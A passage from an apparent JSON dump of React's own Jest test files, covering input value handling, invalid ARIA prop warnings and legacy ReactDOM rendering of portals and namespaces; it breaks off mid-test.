'Decide between using a controlled or uncontrolled input element for the lifetime of the component. ' +\n          'More info: https://react.dev/link/controlled-components\\n' +\n          '    in input (at **)\\n' +\n          '    in Input (at **)',\n      ]);\n      expect(input.value).toBe('latest');\n    });\n  });\n\n  describe('When given a Symbol value', function () {\n    it('treats initial Symbol value as an empty string', async () => {\n      await act(() => {\n        root.render(<input value={Symbol('foobar')} onChange={() => {}} />);\n      });\n      assertConsoleErrorDev([\n        'Invalid value for prop `value` on <input> tag. ' +\n          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +\n          'For details, see https://react.dev/link/attribute-behavior \\n' +\n          '    in input (at **)',\n      ]);\n      const node = container.firstChild;\n\n      expect(node.value).toBe('');\n      if (disableInputAttributeSyncing) {\n        expect(node.hasAttribute('value')).toBe(false);\n      } else {\n        expect(node.getAttribute('value')).toBe('');\n      }\n    });\n\n    it('treats updated Symbol value as an empty string', async () => {\n      await act(() => {\n        root.render(<input value=\"foo\" onChange={() => {}} />);\n      });\n      await act(() => {\n        root.render(<input value={Symbol('foobar')} onChange={() => {}} />);\n      });\n      assertConsoleErrorDev([\n        'Invalid value for prop `value` on <input> tag. ' +\n          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +\n          'For details, see https://react.dev/link/attribute-behavior \\n' +\n          '    in input (at **)',\n      ]);\n      const node = container.firstChild;\n\n      expect(node.value).toBe('');\n      if (disableInputAttributeSyncing) {\n        expect(node.hasAttribute('value')).toBe(false);\n      } else {\n        expect(node.getAttribute('value')).toBe('');\n      }\n    });\n\n    it('treats initial Symbol defaultValue as an empty string', async () => {\n      await act(() => {\n        root.render(<input defaultValue={Symbol('foobar')} />);\n      });\n      const node = container.firstChild;\n\n      expect(node.value).toBe('');\n      expect(node.getAttribute('value')).toBe('');\n      // TODO: we should warn here.\n    });\n\n    it('treats updated Symbol defaultValue as an empty string', async () => {\n      await act(() => {\n        root.render(<input defaultValue=\"foo\" />);\n      });\n      await act(() => {\n        root.render(<input defaultValue={Symbol('foobar')} />);\n      });\n      const node = container.firstChild;\n\n      if (disableInputAttributeSyncing) {\n        expect(node.value).toBe('');\n      } else {\n        expect(node.value).toBe('foo');\n      }\n      expect(node.getAttribute('value')).toBe('');\n      // TODO: we should warn here.\n    });\n  });\n\n  describe('When given a function value', function () {\n    it('treats initial function value as an empty string', async () => {\n      await act(() => {\n        root.render(<input value={() => {}} onChange={() => {}} />);\n      });\n      assertConsoleErrorDev([\n        'Invalid value for prop `value` on <input> tag. ' +\n          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +\n          'For details, see https://react.dev/link/attribute-behavior \\n' +\n          '    in input (at **)',\n      ]);\n      const node = container.firstChild;\n\n      expect(node.value).toBe('');\n      if (disableInputAttributeSyncing) {\n        expect(node.hasAttribute('value')).toBe(false);\n      } else {\n        expect(node.getAttribute('value')).toBe('');\n      }\n    });\n\n    it('treats updated function value as an empty string', async () => {\n      await act(() => {\n        root.render(<input value=\"foo\" onChange={() => {}} />);\n      });\n      await act(() => {\n        root.render(<input value={() => {}} onChange={() => {}} />);\n      });\n      assertConsoleErrorDev([\n        'Invalid value for prop `value` on <input> tag. ' +\n          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +\n          'For details, see https://react.dev/link/attribute-behavior \\n' +\n          '    in input (at **)',\n      ]);\n      const node = container.firstChild;\n\n      expect(node.value).toBe('');\n      if (disableInputAttributeSyncing) {\n        expect(node.hasAttribute('value')).toBe(false);\n      } else {\n        expect(node.getAttribute('value')).toBe('');\n      }\n    });\n\n    it('treats initial function defaultValue as an empty string', async () => {\n      await act(() => {\n        root.render(<input defaultValue={() => {}} />);\n      });\n      const node = container.firstChild;\n\n      expect(node.value).toBe('');\n      expect(node.getAttribute('value')).toBe('');\n      // TODO: we should warn here.\n    });\n\n    it('treats updated function defaultValue as an empty string', async () => {\n      await act(() => {\n        root.render(<input defaultValue=\"foo\" />);\n      });\n      await act(() => {\n        root.render(<input defaultValue={() => {}} />);\n      });\n      const node = container.firstChild;\n\n      if (disableInputAttributeSyncing) {\n        expect(node.value).toBe('');\n        expect(node.getAttribute('value')).toBe('');\n      } else {\n        expect(node.value).toBe('foo');\n        expect(node.getAttribute('value')).toBe('');\n      }\n      // TODO: we should warn here.\n    });\n  });\n\n  describe('checked inputs without a value property', function () {\n    // In absence of a value, radio and checkboxes report a value of \"on\".\n    // Between 16 and 16.2, we assigned a node's value to it's current\n    // value in order to \"dettach\" it from defaultValue. This had the unfortunate\n    // side-effect of assigning value=\"on\" to radio and checkboxes\n    it('does not add \"on\" in absence of value on a checkbox', async () => {\n      await act(() => {\n        root.render(<input type=\"checkbox\" defaultChecked={true} />);\n      });\n      const node = container.firstChild;\n\n      expect(node.value).toBe('on');\n      expect(node.hasAttribute('value')).toBe(false);\n    });\n\n    it('does not add \"on\" in absence of value on a radio', async () => {\n      await act(() => {\n        root.render(<input type=\"radio\" defaultChecked={true} />);\n      });\n      const node = container.firstChild;\n\n      expect(node.value).toBe('on');\n      expect(node.hasAttribute('value')).toBe(false);\n    });\n  });\n\n  it('should remove previous `defaultValue`', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" defaultValue=\"0\" />);\n    });\n    const node = container.firstChild;\n\n    expect(node.value).toBe('0');\n    expect(node.defaultValue).toBe('0');\n\n    await act(() => {\n      root.render(<input type=\"text\" />);\n    });\n    expect(node.defaultValue).toBe('');\n  });\n\n  it('should treat `defaultValue={null}` as missing', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" defaultValue=\"0\" />);\n    });\n    const node = container.firstChild;\n\n    expect(node.value).toBe('0');\n    expect(node.defaultValue).toBe('0');\n\n    await act(() => {\n      root.render(<input type=\"text\" defaultValue={null} />);\n    });\n    expect(node.defaultValue).toBe('');\n  });\n\n  it('should notice input changes when reverting back to original value', async () => {\n    const log = [];\n    function onChange(e) {\n      log.push(e.target.value);\n    }\n    await act(() => {\n      root.render(<input type=\"text\" value=\"\" onChange={onChange} />);\n    });\n    await act(() => {\n      root.render(<input type=\"text\" value=\"a\" onChange={onChange} />);\n    });\n\n    const node = container.firstChild;\n    setUntrackedValue.call(node, '');\n    dispatchEventOnNode(node, 'input');\n\n    expect(log).toEqual(['']);\n    expect(node.value).toBe('a');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMInvalidARIAHook-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\ndescribe('ReactDOMInvalidARIAHook', () => {\n  let React;\n  let ReactDOMClient;\n  let mountComponent;\n  let act;\n  let assertConsoleErrorDev;\n\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n\n    mountComponent = async function (props) {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div {...props} />);\n      });\n    };\n  });\n\n  describe('aria-* props', () => {\n    it('should allow valid aria-* props', async () => {\n      await mountComponent({'aria-label': 'Bumble bees'});\n    });\n\n    it('should allow new ARIA 1.3 attributes', async () => {\n      // Test aria-braillelabel\n      await mountComponent({'aria-braillelabel': 'Braille label text'});\n\n      // Test aria-brailleroledescription\n      await mountComponent({'aria-brailleroledescription': 'Navigation menu'});\n\n      // Test aria-colindextext\n      await mountComponent({'aria-colindextext': 'Column A'});\n\n      // Test aria-rowindextext\n      await mountComponent({'aria-rowindextext': 'Row 1'});\n\n      // Test multiple ARIA 1.3 attributes together\n      await mountComponent({\n        'aria-braillelabel': 'Braille text',\n        'aria-colindextext': 'First column',\n        'aria-rowindextext': 'First row',\n      });\n    });\n    it('should warn for one invalid aria-* prop', async () => {\n      await mountComponent({'aria-badprop': 'maybe'});\n      assertConsoleErrorDev([\n        'Invalid aria prop `aria-badprop` on <div> tag. ' +\n          'For details, see https://react.dev/link/invalid-aria-props\\n' +\n          '    in div (at **)',\n      ]);\n    });\n    it('should warn for many invalid aria-* props', async () => {\n      await mountComponent({\n        'aria-badprop': 'Very tall trees',\n        'aria-malprop': 'Turbulent seas',\n      });\n      assertConsoleErrorDev([\n        'Invalid aria props `aria-badprop`, `aria-malprop` on <div> ' +\n          'tag. For details, see https://react.dev/link/invalid-aria-props\\n' +\n          '    in div (at **)',\n      ]);\n    });\n    it('should warn for an improperly cased aria-* prop', async () => {\n      // The valid attribute name is aria-haspopup.\n      await mountComponent({'aria-hasPopup': 'true'});\n      assertConsoleErrorDev([\n        'Unknown ARIA attribute `aria-hasPopup`. ' +\n          'Did you mean `aria-haspopup`?\\n' +\n          '    in div (at **)',\n      ]);\n    });\n\n    it('should warn for use of recognized camel case aria attributes', async () => {\n      // The valid attribute name is aria-haspopup.\n      await mountComponent({ariaHasPopup: 'true'});\n      assertConsoleErrorDev([\n        'Invalid ARIA attribute `ariaHasPopup`. ' +\n          'Did you mean `aria-haspopup`?\\n' +\n          '    in div (at **)',\n      ]);\n    });\n\n    it('should warn for use of unrecognized camel case aria attributes', async () => {\n      // The valid attribute name is aria-haspopup.\n      await mountComponent({ariaSomethingInvalid: 'true'});\n      assertConsoleErrorDev([\n        'Invalid ARIA attribute `ariaSomethingInvalid`. ARIA ' +\n          'attributes follow the pattern aria-* and must be lowercase.\\n' +\n          '    in div (at **)',\n      ]);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMLegacyComponentTree-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\ndescribe('ReactDOMComponentTree', () => {\n  let React;\n  let ReactDOM;\n  let container;\n  let assertConsoleErrorDev;\n\n  beforeEach(() => {\n    React = require('react');\n    ReactDOM = require('react-dom');\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n\n    container = document.createElement('div');\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n    container = null;\n  });\n\n  // @gate !disableLegacyMode\n  it('finds instance of node that is attempted to be unmounted', () => {\n    const component = <div />;\n    const node = ReactDOM.render(<div>{component}</div>, container);\n    ReactDOM.unmountComponentAtNode(node);\n    assertConsoleErrorDev([\n      \"unmountComponentAtNode(): The node you're attempting to unmount \" +\n        'was rendered by React and is not a top-level container. You may ' +\n        'have accidentally passed in a React root node instead of its ' +\n        'container.',\n    ]);\n  });\n\n  // @gate !disableLegacyMode\n  it('finds instance from node to stop rendering over other react rendered components', () => {\n    const component = (\n      <div>\n        <span>Hello</span>\n      </div>\n    );\n    const anotherComponent = <div />;\n    const instance = ReactDOM.render(component, container);\n    ReactDOM.render(anotherComponent, instance);\n    assertConsoleErrorDev([\n      'Replacing React-rendered children with a new root ' +\n        'component. If you intended to update the children of this node, ' +\n        'you should instead have the existing children update their state ' +\n        'and render the new components instead of calling ReactDOM.render.',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMLegacyFiber-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst React = require('react');\nconst ReactDOM = require('react-dom');\nconst PropTypes = require('prop-types');\nlet act;\nlet assertConsoleErrorDev;\ndescribe('ReactDOMLegacyFiber', () => {\n  let container;\n\n  beforeEach(() => {\n    act = require('internal-test-utils').act;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n    container = document.createElement('div');\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n    container = null;\n    jest.restoreAllMocks();\n  });\n\n  // @gate !disableLegacyMode\n  it('should render strings as children', () => {\n    const Box = ({value}) => <div>{value}</div>;\n\n    ReactDOM.render(<Box value=\"foo\" />, container);\n    expect(container.textContent).toEqual('foo');\n  });\n\n  // @gate !disableLegacyMode\n  it('should render numbers as children', () => {\n    const Box = ({value}) => <div>{value}</div>;\n\n    ReactDOM.render(<Box value={10} />, container);\n\n    expect(container.textContent).toEqual('10');\n  });\n\n  // @gate !disableLegacyMode\n  it('should be called a callback argument', () => {\n    // mounting phase\n    let called = false;\n    ReactDOM.render(<div>Foo</div>, container, () => (called = true));\n    expect(called).toEqual(true);\n\n    // updating phase\n    called = false;\n    ReactDOM.render(<div>Foo</div>, container, () => (called = true));\n    expect(called).toEqual(true);\n  });\n\n  // @gate !disableLegacyMode\n  it('should call a callback argument when the same element is re-rendered', () => {\n    class Foo extends React.Component {\n      render() {\n        return <div>Foo</div>;\n      }\n    }\n    const element = <Foo />;\n\n    // mounting phase\n    let called = false;\n    ReactDOM.render(element, container, () => (called = true));\n    expect(called).toEqual(true);\n\n    // updating phase\n    called = false;\n    ReactDOM.unstable_batchedUpdates(() => {\n      ReactDOM.render(element, container, () => (called = true));\n    });\n    expect(called).toEqual(true);\n  });\n\n  // @gate !disableLegacyMode\n  it('should render a component returning strings directly from render', () => {\n    const Text = ({value}) => value;\n\n    ReactDOM.render(<Text value=\"foo\" />, container);\n    expect(container.textContent).toEqual('foo');\n  });\n\n  // @gate !disableLegacyMode\n  it('should render a component returning numbers directly from render', () => {\n    const Text = ({value}) => value;\n\n    ReactDOM.render(<Text value={10} />, container);\n\n    expect(container.textContent).toEqual('10');\n  });\n\n  // @gate !disableLegacyMode\n  it('finds the DOM Text node of a string child', () => {\n    class Text extends React.Component {\n      render() {\n        return this.props.value;\n      }\n    }\n\n    let instance = null;\n    ReactDOM.render(\n      <Text value=\"foo\" ref={ref => (instance = ref)} />,\n      container,\n    );\n\n    const textNode =\n      ReactDOM.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.findDOMNode(\n        instance,\n      );\n    expect(textNode).toBe(container.firstChild);\n    expect(textNode.nodeType).toBe(3);\n    expect(textNode.nodeValue).toBe('foo');\n  });\n\n  // @gate !disableLegacyMode\n  it('finds the first child when a component returns a fragment', () => {\n    class Fragment extends React.Component {\n      render() {\n        return [<div key=\"a\" />, <span key=\"b\" />];\n      }\n    }\n\n    let instance = null;\n    ReactDOM.render(<Fragment ref={ref => (instance = ref)} />, container);\n\n    expect(container.childNodes.length).toBe(2);\n\n    const firstNode =\n      ReactDOM.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.findDOMNode(\n        instance,\n      );\n    expect(firstNode).toBe(container.firstChild);\n    expect(firstNode.tagName).toBe('DIV');\n  });\n\n  // @gate !disableLegacyMode\n  it('finds the first child even when fragment is nested', () => {\n    class Wrapper extends React.Component {\n      render() {\n        return this.props.children;\n      }\n    }\n\n    class Fragment extends React.Component {\n      render() {\n        return [\n          <Wrapper key=\"a\">\n            <div />\n          </Wrapper>,\n          <span key=\"b\" />,\n        ];\n      }\n    }\n\n    let instance = null;\n    ReactDOM.render(<Fragment ref={ref => (instance = ref)} />, container);\n\n    expect(container.childNodes.length).toBe(2);\n\n    const firstNode =\n      ReactDOM.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.findDOMNode(\n        instance,\n      );\n    expect(firstNode).toBe(container.firstChild);\n    expect(firstNode.tagName).toBe('DIV');\n  });\n\n  // @gate !disableLegacyMode\n  it('finds the first child even when first child renders null', () => {\n    class NullComponent extends React.Component {\n      render() {\n        return null;\n      }\n    }\n\n    class Fragment extends React.Component {\n      render() {\n        return [<NullComponent key=\"a\" />, <div key=\"b\" />, <span key=\"c\" />];\n      }\n    }\n\n    let instance = null;\n    ReactDOM.render(<Fragment ref={ref => (instance = ref)} />, container);\n\n    expect(container.childNodes.length).toBe(2);\n\n    const firstNode =\n      ReactDOM.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.findDOMNode(\n        instance,\n      );\n    expect(firstNode).toBe(container.firstChild);\n    expect(firstNode.tagName).toBe('DIV');\n  });\n\n  // @gate !disableLegacyMode\n  it('renders an empty fragment', () => {\n    const Div = () => <div />;\n    const EmptyFragment = () => <></>;\n    const NonEmptyFragment = () => (\n      <>\n        <Div />\n      </>\n    );\n\n    ReactDOM.render(<EmptyFragment />, container);\n    expect(container.firstChild).toBe(null);\n\n    ReactDOM.render(<NonEmptyFragment />, container);\n    expect(container.firstChild.tagName).toBe('DIV');\n\n    ReactDOM.render(<EmptyFragment />, container);\n    expect(container.firstChild).toBe(null);\n\n    ReactDOM.render(<Div />, container);\n    expect(container.firstChild.tagName).toBe('DIV');\n\n    ReactDOM.render(<EmptyFragment />, container);\n    expect(container.firstChild).toBe(null);\n  });\n\n  let svgEls, htmlEls, mathEls;\n  const expectSVG = {ref: el => svgEls.push(el)};\n  const expectHTML = {ref: el => htmlEls.push(el)};\n  const expectMath = {ref: el => mathEls.push(el)};\n\n  const usePortal = function (tree) {\n    return ReactDOM.createPortal(tree, document.createElement('div'));\n  };\n\n  const assertNamespacesMatch = function (tree) {\n    const testContainer = document.createElement('div');\n    svgEls = [];\n    htmlEls = [];\n    mathEls = [];\n\n    ReactDOM.render(tree, testContainer);\n    svgEls.forEach(el => {\n      expect(el.namespaceURI).toBe('http://www.w3.org/2000/svg');\n    });\n    htmlEls.forEach(el => {\n      expect(el.namespaceURI).toBe('http://www.w3.org/1999/xhtml');\n    });\n    mathEls.forEach(el => {\n      expect(el.namespaceURI).toBe('http://www.w3.org/1998/Math/MathML');\n    });\n\n    ReactDOM.unmountComponentAtNode(testContainer);\n    expect(testContainer.innerHTML).toBe('');\n  };\n\n  // @gate !disableLegacyMode\n  it('should render one portal', () => {\n    const portalContainer = document.createElement('div');\n\n    ReactDOM.render(\n      <div>{ReactDOM.createPortal(<div>portal</div>, portalContainer)}</div>,\n      container,\n    );\n    expect(portalContainer.innerHTML).toBe('<div>portal</div>');\n    expect(container.innerHTML).toBe('<div></div>');\n\n    ReactDOM.unmountComponentAtNode(container);\n    expect(portalContainer.innerHTML).toBe('');\n    expect(container.innerHTML).toBe('');\n  });\n\n  // @gate !disableLegacyMode\n  it('should render many portals', () => {\n    const portalContainer1 = document.createElement('div');\n    const portalContainer2 = document.createElement('div');\n\n    const ops = [];\n    class Child extends React.Component {\n      componentDidMount() {\n        ops.push(`${this.props.name} componentDidMount`);\n      }\n      componentDidUpdate() {\n        ops.push(`${this.props.name} componentDidUpdate`);\n      }\n      componentWillUnmount() {\n        ops.push(`${this.props.name} componentWillUnmount`);\n      }\n      render() {\n        return <div>{this.props.name}</div>;\n      }\n    }\n\n    class Parent extends React.Component {\n      componentDidMount() {\n        ops.push(`Parent:${this.props.step} componentDidMount`);\n      }\n      componentDidUpdate() {\n        ops.push(`Parent:${this.props.step} componentDidUpdate`);\n      }\n      componentWillUnmount() {\n        ops.push(`Parent:${this.props.step} componentWillUnmount`);\n      }\n      render() {\n        const {step} = this.props;\n        return [\n          <Child key=\"a\" name={`normal[0]:${step}`} />,\n          ReactDOM.createPortal(\n            <Child key=\"b\" name={`portal1[0]:${step}`} />,\n            portalContainer1,\n          ),\n          <Child key=\"c\" name={`normal[1]:${step}`} />,\n          ReactDOM.createPortal(\n            [\n              <Child key=\"d\" name={`portal2[0]:${step}`} />,\n              <Child key=\"e\" name={`portal2[1]:${step}`} />,\n            ],\n            portalContainer2,\n          ),\n        ];\n      }\n    }\n\n    ReactDOM.render(<Parent step=\"a\" />, container);\n    expect(portalContainer1.innerHTML).toBe('<div>portal1[0]:a</div>');\n    expect(portalContainer2.innerHTML).toBe(\n      '<div>portal2[0]:a</div><div>portal2[1]:a</div>',\n    );\n    expect(container.innerHTML).toBe(\n      '<div>normal[0]:a</div><div>normal[1]:a</div>',\n    );\n    expect(ops).toEqual([\n      'normal[0]:a componentDidMount',\n      'portal1[0]:a componentDidMount',\n      'normal[1]:a componentDidMount',\n      'portal2[0]:a componentDidMount',\n      'portal2[1]:a componentDidMount',\n      'Parent:a componentDidMount',\n    ]);\n\n    ops.length = 0;\n    ReactDOM.render(<Parent step=\"b\" />, container);\n    expect(portalContainer1.innerHTML).toBe('<div>portal1[0]:b</div>');\n    expect(portalContainer2.innerHTML).toBe(\n      '<div>portal2[0]:b</div><div>portal2[1]:b</div>',\n    );\n    expect(container.innerHTML).toBe(\n      '<div>normal[0]:b</div><div>normal[1]:b</div>',\n    );\n    expect(ops).toEqual([\n      'normal[0]:b componentDidUpdate',\n      'portal1[0]:b componentDidUpdate',\n      'normal[1]:b componentDidUpdate',\n      'portal2[0]:b componentDidUpdate',\n      'portal2[1]:b componentDidUpdate',\n      'Parent:b componentDidUpdate',\n    ]);\n\n    ops.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(portalContainer1.innerHTML).toBe('');\n    expect(portalContainer2.innerHTML).toBe('');\n    expect(container.innerHTML).toBe('');\n    expect(ops).toEqual([\n      'Parent:b componentWillUnmount',\n      'normal[0]:b componentWillUnmount',\n      'portal1[0]:b componentWillUnmount',\n      'normal[1]:b componentWillUnmount',\n      'portal2[0]:b componentWillUnmount',\n      'portal2[1]:b componentWillUnmount',\n    ]);\n  });\n\n  // @gate !disableLegacyMode\n  it('should render nested portals', () => {\n    const portalContainer1 = document.createElement('div');\n    const portalContainer2 = document.createElement('div');\n    const portalContainer3 = document.createElement('div');\n\n    ReactDOM.render(\n      [\n        <div key=\"a\">normal[0]</div>,\n        ReactDOM.createPortal(\n          [\n            <div key=\"b\">portal1[0]</div>,\n            ReactDOM.createPortal(\n              <div key=\"c\">portal2[0]</div>,\n              portalContainer2,\n            ),\n            ReactDOM.createPortal(\n              <div key=\"d\">portal3[0]</div>,\n              portalContainer3,\n            ),\n            <div key=\"e\">portal1[1]</div>,\n          ],\n          portalContainer1,\n        ),\n        <div key=\"f\">normal[1]</div>,\n      ],\n      container,\n    );\n    expect(portalContainer1.innerHTML).toBe(\n      '<div>portal1[0]</div><div>portal1[1]</div>',\n    );\n    expect(portalContainer2.innerHTML).toBe('<div>portal2[0]</div>');\n    expect(portalContainer3.innerHTML).toBe('<div>portal3[0]</div>');\n    expect(container.innerHTML).toBe(\n      '<div>normal[0]</div><div>normal[1]</div>',\n    );\n\n    ReactDOM.unmountComponentAtNode(container);\n    expect(portalContainer1.innerHTML).toBe('');\n    expect(portalContainer2.innerHTML).toBe('');\n    expect(portalContainer3.innerHTML).toBe('');\n    expect(container.innerHTML).toBe('');\n  });\n\n  // @gate !disableLegacyMode\n  it('should reconcile portal children', () => {\n    const portalContainer = document.createElement('div');\n\n    ReactDOM.render(\n      <div>{ReactDOM.createPortal(<div>portal:1</div>, portalContainer)}</div>,\n      container,\n    );\n    expect(portalContainer.innerHTML).toBe('<div>portal:1</div>');\n    expect(container.innerHTML).toBe('<div></div>');\n\n    ReactDOM.render(\n      <div>{ReactDOM.createPortal(<div>portal:2</div>, portalContainer)}</div>,\n      container,\n    );\n    expect(portalContainer.innerHTML).toBe('<div>portal:2</div>');\n    expect(container.innerHTML).toBe('<div></div>');\n\n    ReactDOM.render(\n      <div>{ReactDOM.createPortal(<p>portal:3</p>, portalContainer)}</div>,\n      container,\n    );\n    expect(portalContainer.innerHTML).toBe('<p>portal:3</p>');\n    expect(container.innerHTML).toBe('<div></div>');\n\n    ReactDOM.render(\n      <div>{ReactDOM.createPortal(['Hi', 'Bye'], portalContainer)}</div>,\n      container,\n    );\n    expect(portalContainer.innerHTML).toBe('HiBye');\n    expect(container.innerHTML).toBe('<div></div>');\n\n    ReactDOM.render(\n      <div>{ReactDOM.createPortal(['Bye', 'Hi'], portalContainer)}</div>,\n      container,\n    );\n    expect(portalContainer.innerHTML).toBe('ByeHi');\n    expect(container.innerHTML).toBe('<div></div>');\n\n    ReactDOM.render(\n      <div>{ReactDOM.createPortal(null, portalContainer)}</div>,\n      container,\n    );\n    expect(portalContainer.innerHTML).toBe('');\n    expect(container.innerHTML).toBe('<div></div>');\n  });\n\n  // @gate !disableLegacyMode\n  it('should unmount empty portal component wherever it appears', () => {\n    const portalContainer = document.createElement('div');\n\n    class Wrapper extends React.Component {\n      constructor(props) {\n        super(props);\n        this.state = {\n          show: true,\n        };\n      }\n      render() {\n        return (\n          <div>\n            {this.state.show && (\n              <>\n                {ReactDOM.createPortal(null, portalContainer)}\n                <div>child</div>\n              </>\n            )}\n            <div>parent</div>\n          </div>\n        );\n      }\n    }\n\n    const instance = ReactDOM.render(<Wrapper />, container);\n    expect(container.innerHTML).toBe(\n      '<div><div>child</div><div>parent</div></div>',\n    );\n    instance.setState({show: false});\n    expect(instance.state.show).toBe(false);\n    expect(container.innerHTML).toBe('<div><div>parent</div></div>');\n  });\n\n  // @gate !disableLegacyMode\n  it('should keep track of namespace across portals (simple)', () => {\n    assertNamespacesMatch(\n      <svg {...expectSVG}>\n        <image {...expectSVG} />\n        {usePortal(<div {...expectHTML} />)}\n        <image {...expectSVG} />\n      </svg>,\n    );\n    assertNamespacesMatch(\n      <math {...expectMath}>\n        <mi {...expectMath} />\n        {usePortal(<div {...expectHTML} />)}\n        <mi {...expectMath} />\n      </math>,\n    );\n    assertNamespacesMatch(\n      <div {...expectHTML}>\n        <p {...expectHTML} />\n        {usePortal(\n          <svg {...expectSVG}>\n            <image {...expectSVG} />\n          </svg>,\n        )}\n        <p {...expectHTML} />\n      </div>,\n    );\n  });\n\n  // @gate !disableLegacyMode\n  it('should keep track of namespace across portals (medium)', () => {\n    assertNamespacesMatch(\n      <svg {...expectSVG}>\n        <image {...expectSVG} />\n        {usePortal(<div {...expectHTML} />)}\n        <image {...expectSVG} />\n        {usePortal(<div {...expectHTML} />)}\n        <image {...expectSVG} />\n      </svg>,\n    );\n    assertNamespacesMatch(\n      <div {...expectHTML}>\n        <math {...expectMath}>\n          <mi {...expectMath} />\n          {usePortal(\n            <svg {...expectSVG}>\n              <image {...expectSVG} />\n            </svg>,\n          )}\n        </math>\n        <p {...expectHTML} />\n      </div>,\n    );\n    assertNamespacesMatch(\n      <math {...expectMath}>\n        <mi {...expectMath} />\n        {usePortal(\n          <svg {...expectSVG}>\n            <image {...expectSVG} />\n            <foreignObject {...expectSVG}>\n              <p {...expectHTML} />\n              <math {...expectMath}>\n                <mi {...expectMath} />\n              </math>\n              <p {...expectHTML} />\n            </foreignObject>\n            <image {...expectSVG} />\n          </svg>,\n        )}\n        <mi {...expectMath} />\n      </math>,\n    );\n    assertNamespacesMatch(\n      <div {...expectHTML}>\n        {usePortal(\n          <svg {...expectSVG}>\n            {usePortal(<div {...expectHTML} />)}\n            <image {...expectSVG} />\n          </svg>,\n        )}\n        <p {...expectHTML} />\n      </div>,\n    );\n    assertNamespacesMatch(\n      <svg {...expectSVG}>\n        <svg {...expectSVG}>\n          {usePortal(<div {...expectHTML} />)}\n          <image {...expectSVG} />\n        </svg>\n        <image {...expectSVG} />\n      </svg>,\n    );\n  });\n\n  // @gate !disableLegacyMode\n  it('should keep track of namespace across portals (complex)', () => {\n    assertNamespacesMatch(\n      <div {...expectHTML}>\n        {usePortal(\n          <svg {...expectSVG}>\n            <image {...expectSVG} />\n          </svg>,\n        )}\n        <p {...expectHTML} />\n        <svg {...expectSVG}>\n          <image {...expectSVG} />\n        </svg>\n        <svg {...expectSVG}>\n          <svg {...expectSVG}>\n            <image {...expectSVG} />\n          </svg>\n          <image {...expectSVG} />\n        </svg>\n        <p {...expectHTML} />\n      </div>,\n    );\n    assertNamespacesMatch(\n      <div {...expectHTML}>\n        <svg {...expectSVG}>\n          <svg {...expectSVG}>\n            <image {...expectSVG} />\n            {usePortal(\n              <svg {...expectSVG}>\n                <image {...expectSVG} />\n                <svg {...expectSVG}>\n                  <image {...expectSVG} />\n                </svg>\n                <image {...expectSVG} />\n              </svg>,\n            )}\n            <image {...expectSVG} />\n            <foreignObject {...expectSVG}>\n              <p {...expectHTML} />\n              {usePortal(<p {...expectHTML} />)}\n              <p {...expectHTML} />\n            </foreignObject>\n          </svg>\n          <image {...expectSVG} />\n        </svg>\n        <p {...expectHTML} />\n      </div>,\n    );\n    assertNamespacesMatch(\n      <div {...expectHTML}>\n        <svg {...expectSVG}>\n          <foreignObject {...expectSVG}>\n            <p {...expectHTML} />\n            {usePortal(\n              <svg {...expectSVG}>\n                <image {...expectSVG} />\n                <svg {...expectSVG}>\n                  <image {...expectSVG} />\n                  <foreignObject {...expectSVG}>\n                    <p {...expectHTML} />\n                  </foreignObject>\n                  {usePortal(<p {...expectHTML} />)}\n                </svg>\n                <image {...expectSVG} />\n              </svg>,\n            )}\n            <p {...expectHTML} />\n          </foreignObject>\n          <image {...expectSVG} />\n        </svg>\n        <p {...expectHTML} />\n      </div>,\n    );\n  });\n\n  // @gate !disableLegacyMode\n  it('should unwind namespaces on uncaught errors', async () => {\n    function BrokenRender() {\n      throw new Error('Hello');\n    }\n\n    await expect(async () => {\n      await act(() => {\n        assertNamespacesMatch(\n          <svg {...expectSVG}>\n            <BrokenRender />\n          </svg>,\n        );\n      });\n    }).rejects.toThrow('Hello');\n    assertNamespacesMatch(<div {...expectHTML} />);\n  });\n\n  // @gate !disableLegacyMode\n  it('should unwind namespaces on caught errors', () => {\n    function BrokenRender() {\n      throw new Error('Hello');\n    }\n\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        this.setState({error});\n      }\n      render() {\n        if (this.state.error) {\n          return <p {...expectHTML} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    assertNamespacesMatch(\n      <svg {...expectSVG}>\n        